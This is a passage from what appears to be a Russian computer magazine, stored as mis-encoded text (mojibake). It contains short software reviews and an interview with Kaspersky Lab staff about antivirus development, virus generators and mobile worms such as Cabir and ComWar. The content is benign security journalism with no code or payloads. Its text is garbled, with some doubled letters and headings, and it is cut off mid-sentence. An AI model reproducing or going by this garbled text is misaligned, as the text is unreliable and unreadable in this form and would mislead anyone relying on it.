ãî ðåøåíèÿ íåò! Òåì íå ìåíåå, WIDI Recognition System âêëþ-
÷àåò â ñåáÿ àëãîðèòìû, êîòîðûå ïîçâîëÿþò îñóùåñòâëÿòü
ðàñïîçíàâàíèå ïîëèôîíè÷åñêèõ çàïèñåé äîñòàòî÷íî òî÷íî.
Áîëåå òîãî, çíà÷èòåëüíîå ÷èñëî íàñòðàèâàåìûõ ïàðàìåòðîâ
ïîçâîëÿåò ðàñïîçíàâàòü ðàçëè÷íûå ìóçûêàëüíûå ñòèëè,
èíñòðóìåíòû è ò.ä.

WIDI, êàê óíèêàëüíàÿ ìíîãîôóíêöèîíàëüíàÿ ñèñòåìà,
âêëþ÷àåò â ñåáÿ ôóíêöèè çàïèñè è îòîáðàæåíèÿ çâóêîâîé
âîëíû, ñïåöèàëèçèðîâàííûé ðåäàêòîð íîò (òîëüêî âåðñèÿ
Professional), êîòîðûé ïîçâîëÿåò âèçóàëüíî ñðàâíèâàòü
ñïåêòðîãðàììû èñõîäíîé âîëíû ñ íîòàìè, ïîëó÷åííûìè ðàñ-
ïîçíàâàíèåì.

WIDI óìååò ÷èòàòü èñõîäíûå ôàéëû â íåêîìïðåññèðî-
âàííîì WAV, MP3, CD è äàæå çâóê, êîòîðûé èäåò íåïîñðåä-
ñòâåííî ñ ìèêðîôîíà, áåç ïðåäâàðèòåëüíîé çàïèñè â ôàéë
(ðàñïîçíàâàíèå â ðåàëüíîì âðåìåíè). WIDI ðàñïîçíàåò çâó-
êîâóþ âîëíó è çàòåì:

— ÒÛ ÈÇÌÅÍßÅØÜ Â WIDI ÀÐÀÍÆÈÐÎÂÊÓ, ÂÛÑÎÒÍÛÉ

ÄÈÀÏÀÇÎÍ È ÒÎÍÀËÜÍÎÑÒÜ;

— ÓÑÒÐÀÈÂÀÅØÜ ÏÐÅÄÂÀÐÈÒÅËÜÍÛÉ ÏÐÎÑÌÎÒÐ ÄËß

ÔÀÉËÎÂ MP3 Â ÊÎËËÅÊÖÈßÕ;

— ÇÀÃÐÓÆÀÅØÜ ËÞÁÈÌÛÅ ÌÅËÎÄÈÈ Â ÌÎÁÈËÜÍÛÉ

ÒÅËÅÔÎÍ;

— ÏÎËÓ×ÀÅØÜ ÍÎÒÍÛÅ ÇÀÏÈÑÈ ÌÓÇÛÊÀËÜÍÛÕ

ÊÎÌÏÎÇÈÖÈÉ È ÈÑÏÎËÍßÅØÜ ÈÕ ÑÀÌ.
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Opera 99.0
Íîâàÿ âåðñèÿ ñàìîãî áûñòðîãî áðàóçåðà ïëàíå-
òû! Íîðâåæñêèå ðàçðàáîò÷èêè íå óíèìàþòñÿ, 
è îïÿòü ìû èìååì ÷åñòü íàáëþäàòü íîâûé Build. 

Keyboard MManiac
Áóäó êðàòîê. Ìåíåäæåð ãîðÿ÷èõ êëàâèø Keyboard Maniac
(KeyMan, KM) ïðåäíàçíà÷åí äëÿ ðàáîòû ñ ðàñøèðåííûìè
ìóëüòèìåäèéíûìè êëàâèàòóðàìè. KeyMan êðåïêî äðóæèò ñ
WinAmp’îì è Light Alloy, ïåðåõâàòûâàåò ñèñòåìíûå íàæàòèÿ

êëàâèø (<Win>+<D>, <Win>+<R>...) áåç çàëèïàíèÿ ìîäèôèêàòîðîâ. Ìíîãî íàñòîåê 
è ôóíêöèîíàëüíûõ âîçìîæíîñòåé, êîòîðûõ íåò â ïðîãðàììàõ-àíàëîãàõ.

Ïðîãðàììà ïðîñòà â óïðàâëåíèè, íî ñîäåðæèò ìíîæåñòâî äîïîëíèòåëüíûõ íàñòðîåê,
òî åñòü ïîäõîäèò è íîâè÷êàì, è ïðîôåññèîíàëàì — íàñòîÿùèì êëàâèàòóðíûì ìàíüÿêàì.
Îñîáîå âíèìàíèå óäåëåíî óïðàâëåíèþ ìóëüòèìåäèéíûì ïðîèãðûâàòåëåì Nullsoft Winamp
(ïîääåðæèâàþòñÿ âåðñèè 2.õ è 5.õ, âåðñèÿ 3.õ — íåò). Äîñòîèíñòâà ïðîãðàììû:

— ÈÑÏÎËÜÇÓÉ ÍÀ ÇÄÎÐÎÂÜÅ ËÞÁÛÅ ÊËÀÂÈØÈ, Â ÒÎÌ ×ÈÑËÅ ÑÈÑÒÅÌÍÛÅ:
<WIN>+<D>, <ALT>+<TAB>, ETC. (ÈÑÊËÞ×ÅÍÈÅ — <CTRL>+<ALT>+<DEL>,
ÊËÀÂÈØÈ ÓÏÐÀÂËÅÍÈß ÏÈÒÀÍÈÅÌ ÊÎÌÏÜÞÒÅÐÀ È ÊËÀÂÈØÀ <TAB> ÁÅÇ
ÌÎÄÈÔÈÊÀÒÎÐÎÂ).

— ÈÑÏÎËÜÇÓÉ ÊÍÎÏÊÈ ÌÛØÈ Â ÃÎÐß×ÈÕ ÊËÀÂÈØÀÕ — MOUSE LBUTTON,
MOUSE RBUTTON, MOUSE MBUTTON, MOUSE XBUTTON1, MOUSE XBUTTON2
(ÍÀÏÐÈÌÅÐ <CTRL>+<ALT>+MOUSE MBUTTON).

— ÇÀÏÓÑÊÀÉ ÍÅÑÊÎËÜÊÎ ÄÅÉÑÒÂÈÉ ÍÀ ÎÄÍÓ ÊËÀÂÈØÓ.

— ÇÀÏÈÑÛÂÀÉ È ÂÎÑÏÐÎÈÇÂÎÄÈ ÊËÀÂÈÀÒÓÐÍÛÅ ÌÀÊÐÎÑÛ.

— ÑÕÅÌÀ ÇÀÏÓÑÊÀ ÄÅÉÑÒÂÈß ÃÈÁÊÀß: ÍÀÏÐÈÌÅÐ, ÒÎËÜÊÎ ÅÑËÈ ÀÊÒÈÂÍÎ
ÎÏÐÅÄÅËÅÍÍÎÅ ÎÊÍÎ ÈËÈ ÅÑËÈ ÎÍÎ ÑÓÙÅÑÒÂÓÅÒ.

— ÇÀÌÅÍßÉ ÍÀÆÀÒÓÞ ÊËÀÂÈØÓ ÍÀ ÄÐÓÃÓÞ ÊËÀÂÈØÓ ÈËÈ ÊÍÎÏÊÓ ÌÛØÈ.

— ÇÀÌÅÍßÉ ÊÍÎÏÊÓ ÌÛØÈ ÄÐÓÃÎÉ ÅÅ ÊÍÎÏÊÎÉ ÈËÈ ÊËÀÂÈØÅÉ ÊËÀÂÈÀÒÓ-
ÐÛ (ÍÀÏÐÈÌÅÐ: <SHIFT>+MOUSE MIDDLE ÇÀÌÅÍÈÒÜ ÍÀ <ALT>+DBLCLICK).

— ÍÀÇÍÀ×ÀÉ ÃÎÐß×ÈÅ ÊËÀÂÈØÈ Ñ ÐÀÑØÈÐÅÍÍÛÌÈ ÌÎÄÈÔÈÊÀÒÎÐÀÌÈ
(ËÞÁÀß ÊÎÌÁÈÍÀÖÈß ÈÇ ×ÅÒÛÐÅÕ ÌÎÄÈÔÈÊÀÒÎÐÎÂ: <CTRL+>, <ALT+>,
<SHIFT+>, <WIN+>).

— ÎÑÂÅÄÎÌËßÉÑß ÍÀÑ×ÅÒ ÒÅÊÓÙÅÉ ßÇÛÊÎÂÎÉ ÐÀÑÊËÀÄÊÈ Ñ ÏÎÌÎÙÜÞ
ÇÂÓÊÀ (ÏÎÑËÅ ÍÀÆÀÒÈß ÎÏÐÅÄÅËÅÍÍÛÕ ÊËÀÂÈØ) È/ÈËÈ ÈÊÎÍÊÈ Â ÑÈÑ-
ÒÅÌÍÎÌ ÒÐÅÅ.

— ÎÒÏÐÀÂËßÉ ÑÎÎÁÙÅÍÈß ÎÊÍÓ ÏÐÈ ÍÀÆÀÒÈÈ ÊËÀÂÈØÈ.

— ÏÐÎÃÐÀÌÌÀ ÏÎÄÄÅÐÆÈÂÀÅÒ ÌÎÄÓËÈ ÐÀÑØÈÐÅÍÈÉ (PLUGIN). ÑÒÀÍÄÀÐÒ
ÌÎÄÓËÅÉ ÏÐÅÄÅËÜÍÎ ÏÐÎÑÒ. ÈÑÏÎËÜÇÓß ÈÑÕÎÄÍÛÉ ÊÎÄ ÃÎÒÎÂÎÃÎ ÌÎ-
ÄÓËß, ÒÛ ÌÎÆÅØÜ ÑÀÌ ÍÀÏÈÑÀÒÜ ÍÓÆÍÎÅ ÄÅÉÑÒÂÈÅ (Â ÄÈÑÒÐÈÁÓÒÈÂÅ
ÅÑÒÜ ÈÑÕÎÄÍÛÉ ÊÎÄ ÌÎÄÓËß ÐÀÑØÈÐÅÍÈÉ, ÍÀÏÈÑÀÍÍÎÃÎ ÍÀ BORLAND
DELPHI 7, ÎÍ ÑÎÄÅÐÆÈÒ ÂÑÅ ÍÅÎÁÕÎÄÈÌÛÅ ÊÎÌÌÅÍÒÀÐÈÈ).

— ÈÍÒÅÐÔÅÉÑ ÌÍÎÃÎßÇÛ×ÍÛÉ.

— ÏÐÎÃÐÀÌÌÀ ÂÛÏÓÑÊÀÅÒÑß Â ÍÅÑÊÎËÜÊÈÕ ÐÅÄÀÊÖÈßÕ, È LITE EDITION ÁÓ-
ÄÅÒ ÏÎËÅÇÅÍ ÄËß ÍÀ×ÈÍÀÞÙÈÕ ÏÎËÜÇÎÂÀÒÅËÅÉ ÈËÈ ÄËß ÈÑÏÎËÜÇÎÂÀ-
ÍÈß ÍÀ ÑÌÅÍÍÎÌ ÍÎÑÈÒÅËÅ/ÍÀ ÍÅÑÊÎËÜÊÈÕ ÊÎÌÏÜÞÒÅÐÀÕ.

— ÖÈÊË ÐÀÇÐÀÁÎÒÊÈ ÊÎÐÎÒÊÈÉ: ÊÀÆÄÛÉ ÌÅÑßÖ ÂÛÕÎÄßÒ ÍÎÂÛÅ ÂÅÐÑÈÈ,
Â ÊÎÒÎÐÛÕ ÈÑÏÐÀÂËÅÍÛ ÎØÈÁÊÈ È ÏÎÂÛØÅÍÀ ÔÓÍÊÖÈÎÍÀËÜÍÎÑÒÜ.

Æàëü, ÷òî ïðîãðàììà íå ðàáîòàåò ïîä Windows 9x, Windows Me. Ïîëíîñòüþ ïîääåðæè-
âàåòñÿ òîëüêî Windows XP è Windows 2003. Íà Windows 2000 ïðîãðàììà çàðàáîòàåò,
íî íåêîòîðûå ôóíêöèè ìîãóò îêàçàòüñÿ íåäîñòóïíûìè.

Moffsoft FFreeCalc vv1.2.06
Ýòîò êàëüêóëÿòîð — îòëè÷íàÿ çàìåíà windows’îâñêîìó.
Ðåçóëüòàòû âû÷èñëåíèé ìîæíî ñîõðàíèòü â òåêñòîâûé
ôàéë èëè ðàñïå÷àòàòü. Äëÿ óäîáñòâà ìîæíî íàñòðîèòü
ïîä ñåáÿ öâåò êíîïîê. Áåñïëàòåí. Ðàáîòàåò ïîä Windows
95/98/Me/NT/2000/XP



ÑÏÅÖ: ÊÀÊ «ÀÍÒÈÂÈÐÓÑ ÊÀÑÏÅÐÑÊÎÃÎ» 
ÏÐÅÂÐÀÒÈËÑß ÈÇ ÐßÄÎÂÎÉ ÏÐÎÃÐÀÌÌÛ, 
ÍÀÏÈÑÀÍÍÎÉ ÒÀËÀÍÒËÈÂÛÌ 
ÏÐÎÃÐÀÌÌÈÑÒÎÌ, Â ÀÍÒÈÂÈÐÓÑ ¹1? 
×ÒÎ ÂÊËÀÄÛÂÀÅÒÑß Â ÏÎÍßÒÈÅ 
«ËÓ×ØÈÉ» ÀÍÒÈÂÈÐÓÑ?

ÀÍÄÐÅÉ ÍÍÈÊÈØÈÍ, ÐÐÓÊÎÂÎÄÈÒÅËÜ ÓÓÏÐÀÂËÅÍÈß ÑÑÒÐÀÒÅÃÈ×ÅÑÊÎÃÎ ÌÌÀÐÊÅÒÈÍÃÀ
«ËÀÁÎÐÀÒÎÐÈÈ ÊÊÀÑÏÅÐÑÊÎÃÎ»: Êîãäà Äæèì Êîëëèíç (àâòîð êíèãè «Îò õîðîøåãî ê Âåëèêîìó»)
çàäàâàë ýòîò âîïðîñ ðóêîâîäèòåëÿì êðóïíåéøèõ ìèðîâûõ êîìïàíèé, ïîäàâëÿþùåå áîëüøèíñòâî èç íèõ
îòâå÷àëè: «Âî âñåì âèíîâàò ñëó÷àé». È íàì òîæå ïîìîã ñëó÷àé. Ìû îêàçàëèñü â íóæíîì ìåñòå, â íóæ-
íîå âðåìÿ, ñ íóæíûìè ëþäüìè, è â ãîëîâå ó íàñ áûëè íóæíûå èäåè. Ýòî ñåé÷àñ ó íàñ åñòü àíàëèòèêè,
êîòîðûå ñëåäÿò çà ðûíêîì, åñòü ìàðêåòîëîãè è ìíîãèå äðóãèå ïîëåçíûå ëþäè, à äåâÿòü ëåò íàçàä âñå
áûëî ïðîùå è â êàêîì-òî ñìûñëå èíòåðåñíåå. Ìû áûëè îäåðæèìû, è ó íàñ áûëà îáùàÿ èäåÿ — ñäåëàòü
ëó÷øèé àíòèâèðóñ â ìèðå. Òàêîé, ÷òîáû ïîëüçîâàòåëè ìîãëè ÷óâñòâîâàòü ñåáÿ íà 100% çàùèùåííûìè
îò âñåõ âðåäîíîñíûõ ïðîãðàìì, âñåãäà è ïðè ëþáûõ îáñòîÿòåëüñòâàõ. Èìåííî òàêèì áûë è òàêèì îñòà-
åòñÿ íàø îñíîâíîé ïðèíöèï. Ãîâîðèòü, ÷òî íàø ïóòü áûë óñòëàí ëåïåñòêàìè ðîç, áûëî áû íåïðàâèëüíî.
Áûëè ó íàñ è ðîêîâûå îøèáêè, êîòîðûå ñòîèëè íàì î÷åíü è î÷åíü äîðîãî (ïîñëåäñòâèÿ âûõîäà íåóäà÷-
íîé âåðñèè 4.0 ìû ðàñõëåáûâàåì äî ñèõ ïîð). Íî äàæå â òî äîâîëüíî ñëîæíîå âðåìÿ íàì óäàëîñü èñï-
ðàâèòü ñîáñòâåííûå îøèáêè è âåðíóòü äîâåðèå ïîëüçîâàòåëåé, è ñåé÷àñ ÿ, ÷åñòíî ãîâîðÿ, íå çíàþ ëó÷-
øåãî àíòèâèðóñà ñ òî÷êè çðåíèÿ ïðåäîñòàâëÿåìîé çàùèòû.

ÀËÅÊÑÀÍÄÐ ÃÃÎÑÒÅÂ, ÂÂÈÐÓÑÍÛÉ ÝÝÊÑÏÅÐÒ ««ËÀÁÎÐÀÒÎÐÈÈ ÊÊÀÑÏÅÐÑÊÎÃÎ»: Íàïèñàòü àí-
òèâèðóñ (â êëàññè÷åñêîì ñìûñëå ýòîãî ñëîâà — «ñêàíåð ôàéëîâ») ñîâñåì íåòðóäíî. Ïîñìîòðè íà ñîâ-
ðåìåííûå ïîïóëÿðíûå àíòèâèðóñû — ïðàêòè÷åñêè âñå îíè íà÷èíàëèñü êàê ÷àñòíûå ðàçðàáîòêè îäíîãî,
ìàêñèìóì äâóõ ÷åëîâåê.

Äðóãîå äåëî, ÷òî ïðîñòîé ñêàíåð ôàéëîâ ñåé÷àñ, ïî áîëüøîìó ñ÷åòó, íèêîìó íå íóæåí, ïîñêîëüêó
îí íå óäîâëåòâîðèò îñíîâíûì òðåáîâàíèÿì òåêóùåé ñèòóàöèè. Îáÿçàòåëüíî íóæåí ìîíèòîð, íóæíà ïîä-
äåðæêà ìíîæåñòâà ôîðìàòîâ, àðõèâàòîðîâ, ïàêåðîâ, ôàéðâîëîâ. À åùå õîðîøî áû èìåòü ýâðèñòèêó, ïî-
âåäåí÷åñêèé àíàëèçàòîð, ýìóëÿòîð è ìíîãî-ìíîãî âñåãî òîãî, ÷òî ñåé÷àñ èìååòñÿ â êîììåð÷åñêèõ àíòè-
âèðóñàõ. Âñå ýòè êîìïîíåíòû ïîÿâèëèñü íå ïðîñòî êàê äîïîëíèòåëüíûå «ôèøå÷êè» — ýòî âñå òðåáîâà-
íèÿ ñåãîäíÿøíåãî äíÿ è îïûò ïðîøëûõ ëåò. 

Äàâàé èñõîäèòü èç ðåàëèé: êàæäûé ãîä àíòèâèðóñíàÿ êîìïàíèÿ äîëæíà âûïóñêàòü íîâóþ âåðñèþ
ïðîäóêòà. Çà ãîä îäèí ÷åëîâåê íå ñìîæåò íàïèñàòü àíòèâèðóñ óðîâíÿ ñåãîäíÿøíèõ êîììåð÷åñêèõ ïðî-
äóêòîâ. Åñëè ðàáîòàòü íàä íèì ãîäàìè, òî, êîíå÷íî, ýòî ðåàëüíî, âîò òîëüêî âûÿñíèòñÿ, ÷òî àíòèâèðóñ-
íàÿ èíäóñòðèÿ äàâíî óøëà âïåðåä...

ëëèèääååððûû
òòûûññÿÿ÷÷ååëëååòòèèÿÿ
ÊÎÌÏÀÍÈÈ «ËÀÁÎÐÀÒÎÐÈß ÊÀÑÏÅÐÑÊÎÃÎ» ÓÆÅ ÂÎÑÅÌÜ ËÅÒ. ÃÐÓÏÏÅ
ÐÀÇÐÀÁÎÒ×ÈÊÎÂ ÀÍÒÈÂÈÐÓÑÍÎÃÎ ÏÎ, ÊÎÒÎÐÎÉ ÐÓÊÎÂÎÄÈÒ ÅÂÃÅÍÈÉ
ÊÀÑÏÅÐÑÊÈÉ, — ÂÄÂÎÅ ÁÎËÜØÅ. «ËÀÁÎÐÀÒÎÐÈß ÊÀÑÏÅÐÑÊÎÃÎ» — 
ÝÒÎ 400 ÂÛÑÎÊÎÊÂÀËÈÔÈÖÈÐÎÂÀÍÍÛÕ ÑÏÅÖÈÀËÈÑÒÎÂ |ÀÍÄÐÅÉ ÊÀÐÎËÈÊ 

ÈÍÒÅÐÂÜÞ Ñ ËÀÁÎÐÀÒÎÐÈÅÉ
ÊÀÑÏÅÐÑÊÎÃÎ
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ÑÏÅÖ: ÀÍÒÈÂÈÐÓÑ ÊÀÑÏÅÐÑÊÎÃÎ — 
ÏÎ ÑÓÒÈ, ÎÁÛ×ÍÀß ÏÐÎÃÐÀÌÌÀ, ÒÎËÜÊÎ 
ÎÍÀ ÐÀÁÎÒÀÅÒ ÏÎ ÎÏÐÅÄÅËÅÍÍÛÌ 
ÏÐÀÂÈËÀÌ ÈÃÐÛ, ÇÀËÎÆÅÍÍÛÌ Â ÅÅ ÊÎÄ.
ÄÎÑÒÀÒÎ×ÍÎ ËÈ ÁÛÒÜ ÕÎÐÎØÈÌ 
ÏÐÎÃÐÀÌÌÈÑÒÎÌ È ÏÎÍÈÌÀÒÜ ÝÒÈ 
ÏÐÀÂÈËÀ ÈÃÐÛ, ×ÒÎÁÛ ÍÀÏÈÑÀÒÜ 
ÀÍÀËÎÃÈ×ÍÓÞ ÀÍÒÈÂÈÐÓÑÍÓÞ 
ÏÐÎÃÐÀÌÌÓ?
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ÔÎÒÎ: ÈÂÀÍ ÑÊÎÐÈÊÎÂ
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ÀËÅÊÑÀÍÄÐ ÃÃÎÑÒÅÂ: Åñëè áû ìû ñèäåëè è æäàëè, ïîêà íàì ñîîáùàò î ïîÿâëåíèè íîâîãî âèðóñà, ìû
áû óæå äàâíî óòðàòèëè ñâîè ïîçèöèè ìèðîâîãî ëèäåðà ïî ñêîðîñòè ðåàãèðîâàíèÿ è äåòåêòèðîâàíèÿ. Äà
è íå çàíÿëè áû ýòó ïîçèöèþ, âåðîÿòíî, âîîáùå íèêîãäà. Àíòèâèðóñíûå êîìïàíèè è òàê ïîñòîÿííî íàõî-
äÿòñÿ â ðîëè äîãîíÿþùèõ â ñèñòåìå «ñíàðÿä-áðîíÿ», òàê ÷òî âîïðîñ î òîì, êàê ìàêñèìàëüíî ñîêðàòèòü
âðåìÿ ðåàêöèè, âñòàë ïåðåä íàìè äàâíî. È, ñóäÿ ïî òîìó, ÷òî ìû ëèäåðû ïî ýòîìó ïîêàçàòåëþ â àíòè-
âèðóñíîé èíäóñòðèè, íàì äåéñòâèòåëüíî óäàëîñü ðåøèòü ýòîò âîïðîñ.

Ìû èñïîëüçóåì ðàçíîîáðàçíûå àâòîìàòè÷åñêèå ñïîñîáû àêòèâíîãî ïîèñêà íîâûõ âðåäîíîñíûõ ïðîã-
ðàìì â Ñåòè: è ñèñòåìû ìîíèòîðèíãà ñàéòîâ, è ñèñòåìû ðàííåãî îáíàðóæåíèÿ âèðóñîâ â ïî÷òîâîì òðàôè-
êå, è ñåòè honeypot'îâ. Î÷åíü ïîìîãàåò ïîñòîÿííûé è òåñíûé êîíòàêò ñ äðóæåñòâåííûìè àíòèâèðóñíûìè
êîìïàíèÿìè êàê â äåëå îáìåíà ñýìïëàìè, òàê è â ñîâìåñòíîì àíàëèçå èëè ëîêàëèçàöèè èíöèäåíòîâ. Â ýòîé
îáëàñòè ó íàñ íåò êîíêóðåíòíîé áîðüáû, çà äåíüãè êëèåíòîâ ìû áîðåìñÿ äðóãèìè, ìàðêåòèíãîâûìè ñïîñî-
áàìè. Åñòü ó íàñ è òàê íàçûâàåìûå «àãåíòû», îíè æå — äîáðîâîëüíûå ïîìîùíèêè. Ïðåäâîñõèùàÿ âîçìîæ-
íûé âîïðîñ, ñêàæó: íåò, ìû íå ïîêóïàåì âèðóñû ó èõ àâòîðîâ, õîòÿ èçðåäêà òàêèå ïðåäëîæåíèÿ ïîñòóïàþò.

ÀËÅÊÑÀÍÄÐ ÃÃÎÑÒÅÂ: Äà íåò, íèêàêîé îñîáîé ðàçíèöû íåò. Íåêîòîðûå âåùè áûâàåò äîâîëüíî òðóäíî
àíàëèçèðîâàòü ïðîâîäÿ ðåâåðñ-èíæåíåðèíã êîäà, íî â 99% ñëó÷àåâ äëÿ âûíåñåíèÿ âåðäèêòà «âèðóñ/íå âè-
ðóñ» ïîäðîáíûé àíàëèç è íå òðåáóåòñÿ. À åñëè òðåáóåòñÿ, òî ìû â ñîñòîÿíèè ïîòðàòèòü íà ýòî ÷óòü áîëüøå
âðåìåíè, ÷åì îáû÷íî. Äåëî îáñòîèò èíòåðåñíåå, êîãäà íàì ïîïàäàþòñÿ âèðóñû äëÿ íîâûõ ïëàòôîðì èëè
ñðåä, íàïðèìåð äëÿ Symbian èëè Windows Mobile. Òàì äðóãîé ïðîöåññîð, äðóãèå
àññåìáëåðíûå êîìàíäû, äðóãèå ôîðìàòû ôàéëîâ. Ïðèõîäèòñÿ î÷åíü áûñòðî è
äîñòàòî÷íî ãëóáîêî âíåäðÿòüñÿ â òåìó. Âîò áóêâàëüíî ñåãîäíÿ ðàçáèðàë òðîÿ-
íåö äëÿ J2ME (Java äëÿ ìîáèëüíûõ òåëåôîíîâ), óçíàë ìíîãî èíòåðåñíîãî.

ÑÏÅÖ: Î×ÅÂÈÄÍÎ, ×ÒÎ ÀÍÒÈÂÈÐÓÑ ÂÀÆÅÍ
ÌÅÍÜØÅ, ×ÅÌ ÀÍÒÈÂÈÐÓÑÍÀß ÁÀÇÀ, 
ÊÎÒÎÐÓÞ ÎÍ ÈÑÏÎËÜÇÓÅÒ. ÊÀÊÈÌÈ 
ÑÏÎÑÎÁÀÌÈ ÏÎÏÎËÍßÅÒÑß 
ÀÍÒÈÂÈÐÓÑÍÀß ÁÀÇÀ? ÊÐÎÌÅ 
ÁÀÍÀËÜÍÎÃÎ «ÑÎÎÁÙÈËÈ, ÏÐÎÂÅÐÈËÈ, 
ÄÎÁÀÂÈËÈ».

ÑÏÅÖ: ÏÐÈÍÖÈÏÈÀËÜÍÎ ËÈ ÒÎ, ÍÀ ×ÅÌ 
ÍÀÏÈÑÀÍÛ ÂÈÐÓÑÛ È ÒÐÎßÍÛ?

Àëåêñàíäð Ãîñòåâ
Àíäðåé Íèêèøèí
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ÀËÅÊÑÀÍÄÐ ÃÃÎÑÒÅÂ: Äëÿ íàñ — íåò. Äàæå íàîáîðîò. Êîãäà åñòü êàêîé-òî êîíñòðóêòîð/ãåíåðàòîð âè-
ðóñîâ-òðîÿíöåâ, òî ÷èñëî âñåõ êîìáèíàöèé âîçìîæíûõ òâîðåíèé âåñüìà îãðàíè÷åíî. Â îñíîâå âñå ðàâ-
íî áóäóò ëåæàòü îäíè è òå æå áëîêè êîäà (ìîäóëü ðàçìíîæåíèÿ, ìîäóëü êðàæè äàííûõ, ìîäóëü îòñûëêè
äàííûõ). Ýòî êèðïè÷èêè, èç êîòîðûõ êòî óãîäíî ïûòàåòñÿ ñîáðàòü ÷òî-òî ýêñêëþçèâíîå, à íà äåëå ïîëó-
÷àåòñÿ, ÷òî âñå ïîäîáíûå ïîäåëêè èìåþò òîëüêî âíåøíèå èëè íåçíà÷èòåëüíûå îòëè÷èÿ âðîäå èìåíè
ôàéëîâ, àäðåñîâ ýëåêòðîííîé ïî÷òû è òåêñòîâ MessageBox. Êàê ñëåäñòâèå, íàì äëÿ ïîäîáíûõ âåùåé
êðàéíå ïðîñòî ñîçäàòü ýâðèñòè÷åñêèå àíàëèçàòîðû, êîòîðûå ïîìîãóò äåòåêòèðîâàòü âñå âàðèàíòû ñðà-
çó. Ïîýòîìó äîâîëüíî ñìåøíî âûãëÿäÿò ëþäè, êîòîðûå ïîêóïàþò ãåíåðàòîð Pinch'åé (ïîïóëÿðíûé òðîÿ-
íåö-øïèîí) è íàäåþòñÿ, ÷òî ñìîãóò ñ åãî ïîìîùüþ ñîçäàòü óíèêàëüíûé íåäåòåêòèðóåìûé òðîÿí.

ÀËÅÊÑÀÍÄÐ ÃÃÎÑÒÅÂ: Ñëîæíî ñäåëàòü òàêîé ïðîãíîç. Åñëè ïîñìîòðåòü, ÷òî ïðîèñõîäèëî 20 èëè äåñÿòü
ëåò íàçàä, âûÿñíèòñÿ, ÷òî íèêòî íå ìîã ïðåäïîëàãàòü òàêîãî ìíîãîîáðàçèÿ ñîâðåìåííûõ òèïîâ è êëàññîâ âè-
ðóñîâ. Åùå äåñÿòü ëåò íàçàä íå áûëî íè îäíîãî ïî÷òîâîãî ÷åðâÿ, à ñåé÷àñ ýòè ïðîãðàììû óæå óñïåëè ïåðå-
æèòü ïèê ñâîåãî ðàçâèòèÿ è íàõîäÿòñÿ â ñòàäèè ïîñòåïåííîãî îòìèðàíèÿ. Ïðîðûâû â óìàõ âèðóñîïèñàòåëåé
ñëó÷àþòñÿ ðåãóëÿðíî, ýòî äà. Ïðîáëåìà â òîì, ÷òî çà÷àñòóþ òàêèå ïðîðûâû îñòàþòñÿ «íåâîñòðåáîâàííûìè»
ñðåäè êðèìèíàëüíûõ âèðóñîïèñàòåëåé. Èíîãäà íàâñåãäà, èíîãäà äî ïîðû äî âðåìåíè. Âîçüìåì, ê ïðèìåðó,
òðîÿíñêèå ïðîãðàììû äëÿ èãðîâûõ ïðèñòàâîê, ïîÿâèâøèåñÿ îñåíüþ ïðîøëîãî ãîäà. Äà, òðîÿíöû åñòü. Äà, íà-
íîñÿò âðåä ïîëüçîâàòåëþ. Îäíàêî íà äàííûé ìîìåíò â èõ ñîçäàíèè è ðàñïðîñòðàíåíèè íåò ÿâíîé êîììåð÷åñ-
êîé âûãîäû äëÿ âèðóñîïèñàòåëåé. Íó ÷òî îí óêðàäåò ñ ïðèñòàâêè? Èãðó? Èõ è òàê íàâàëîì â Ñåòè. Âîò êîãäà
ïðèñòàâêè íà÷íóò ïîëíîöåííî ñîåäèíÿòüñÿ äðóã ñ äðóãîì, ñ ñåðâèñàìè èíòåðíåòà, âîò òîãäà, âîçìîæíî, íà íèõ
è ïðèäåòñÿ óäàð, ïðè÷åì íåìèíóåìûé. Êèáåðïðåñòóïíîñòü î÷åíü áûñòðî ðåàãèðóåò íà ïîòåíöèàëüíóþ âûãîäó.

Åñëè æå ãîâîðèòü â öåëîì î áóäóùåì, òî íà ñìåíó èíòåðíåòó êàê ñåòè èç êîìïüþòåðîâ ïðèõîäèò
íîâûé ìèð. Ìèð ìîáèëüíûõ óñòðîéñòâ, êîòîðûå áóäóò ñîåäèíÿòüñÿ äðóã ñ äðóãîì â ñàìûõ ðàçíîîáðàç-
íûõ ñî÷åòàíèÿõ: ñìàðòôîíû, òåëåôîíû, ÊÏÊ, ïðèñòàâêè, ôîòîàïïàðàòû, ïëååðû, õîëîäèëüíèêè, êîôå-
âàðêè è âñå, ÷òî åùå ïðèäóìàþò. Íå çàáûâàé è î áîðòîâûõ êîìïüþòåðàõ àâòîìîáèëåé, êîòîðûå òîæå áó-
äóò äîëæíû âçàèìîäåéñòâîâàòü ñî âñåì ýòèì è ñ âíåøíèì ìèðîì.

Ñèòóàöèÿ èçìåíÿåòñÿ î÷åíü áûñòðî. Ìåíüøå äâóõ ëåò ïðîøëî ñ ìîìåíòà ïîÿâëåíèÿ ïåðâîãî ÷åðâÿ
äëÿ ìîáèëüíûõ òåëåôîíîâ. Òîãäà ìíîãèå ñêåïòè÷åñêè îòíåñëèñü ê ýòîìó ôàêòó: íó, ðàáîòàåò òîëüêî íà
ñìàðòôîíàõ ñ Simbian, ðàñïðîñòðàíÿåòñÿ ÷åðåç Bluetooth, ñîîòâåòñòâåííî, ðàäèóñ çàðàæåíèÿ ìàëåíüêèé,
ñìàðòôîíîâ ìàëî, äëÿ çàïóñêà íàäî òðè ðàçà íàæàòü êíîïêó ïîäòâåðæäåíèÿ. À ÷òî ñåé÷àñ? Ñåé÷àñ ÷åðâü
Cabir çàôèêñèðîâàí ïî÷òè â ñîðîêà ñòðàíàõ ìèðà (ýòî òîëüêî ïîäòâåðæäåííûå äàííûå). Â Ìîñêâå, åñëè
ïîåçäèòü ñ âêëþ÷åííûì Bluetooth â ìåòðî â òå÷åíèå äíÿ, ðèñê ïîéìàòü Cabir áóäåò âåñüìà è âåñüìà âûñîê.

Äàëüøå áîëüøå. ×åðâü ComWar, ðàññûëàþùèé ñåáÿ ÷åðåç MMS. Íàïèñàí â Ðîññèè ìåíüøå ãîäà
íàçàä. Ñåé÷àñ íàñ÷èòûâàåòñÿ áîëåå 20-òè ñòðàí, «çàðàæåííûõ» ýòèì ÷åðâåì, ïðè÷åì â íåêîòîðûõ ñòðà-
íàõ åãî ðàñïðîñòðàíåíèå äåéñòâèòåëüíî íîñèò ýïèäåìèîëîãè÷åñêèé ìàñøòàá. ×òî áóäåò äàëüøå, ïðåäó-
